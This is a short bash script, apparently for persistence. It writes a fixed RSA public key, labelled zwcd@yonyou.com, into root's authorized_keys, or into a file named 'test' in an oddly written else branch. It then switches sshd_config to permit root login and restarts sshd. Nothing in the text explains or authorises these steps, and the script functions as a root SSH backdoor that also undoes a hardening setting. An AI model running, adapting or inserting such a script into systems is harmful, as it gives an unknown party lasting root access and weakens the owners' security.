#!/bin/bash
if [ ! -f /root/.ssh/authorized_keys ];then
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvPWGgMX/O05BV2WWqKiy3mLAxNdPP/r40Qdjzqg0+6cHttzkOo43LtKwWzzpt1w6H/WJ+ygpw6huQzYBYjZ6w/cYZYOtrw1azayUluClKz7IhjeU1mEeqaTgHS9fUDybbKKpMqqagggnEzHd3Pe6tdbaz7B7lxMkufHBs8tMDYqZkjGe6DviRFZi1dj44aj8Tky9Z5y4ew0OkDuesQZs4DbrXq9VGv31FHJyb+UqEI5g/UK5KC4t2zAHL8fzitD9RTYlLR57x8hQusMkRf52sxrauyVCRXD7Fkw1aUZReftFsZdjfjVpTQBa+siMxO9zvNsNMQOZPVJIFUDUPugJ7 zwcd@yonyou.com' > /root/.ssh/authorized_keys
else
[ `cat /root/.ssh/test |wc -l` -eq 0 ] && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvPWGgMX/O05BV2WWqKiy3mLAxNdPP/r40Qdjzqg0+6cHttzkOo43LtKwWzzpt1w6H/WJ+ygpw6huQzYBYjZ6w/cYZYOtrw1azayUluClKz7IhjeU1mEeqaTgHS9fUDybbKKpMqqagggnEzHd3Pe6tdbaz7B7lxMkufHBs8tMDYqZkjGe6DviRFZi1dj44aj8Tky9Z5y4ew0OkDuesQZs4DbrXq9VGv31FHJyb+UqEI5g/UK5KC4t2zAHL8fzitD9RTYlLR57x8hQusMkRf52sxrauyVCRXD7Fkw1aUZReftFsZdjfjVpTQBa+siMxO9zvNsNMQOZPVJIFUDUPugJ7 zwcd@yonyou.com' > /root/.ssh/test
fi
if [  -f /etc/ssh/sshd_config ];then
sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_config && systemctl restart sshd
fi
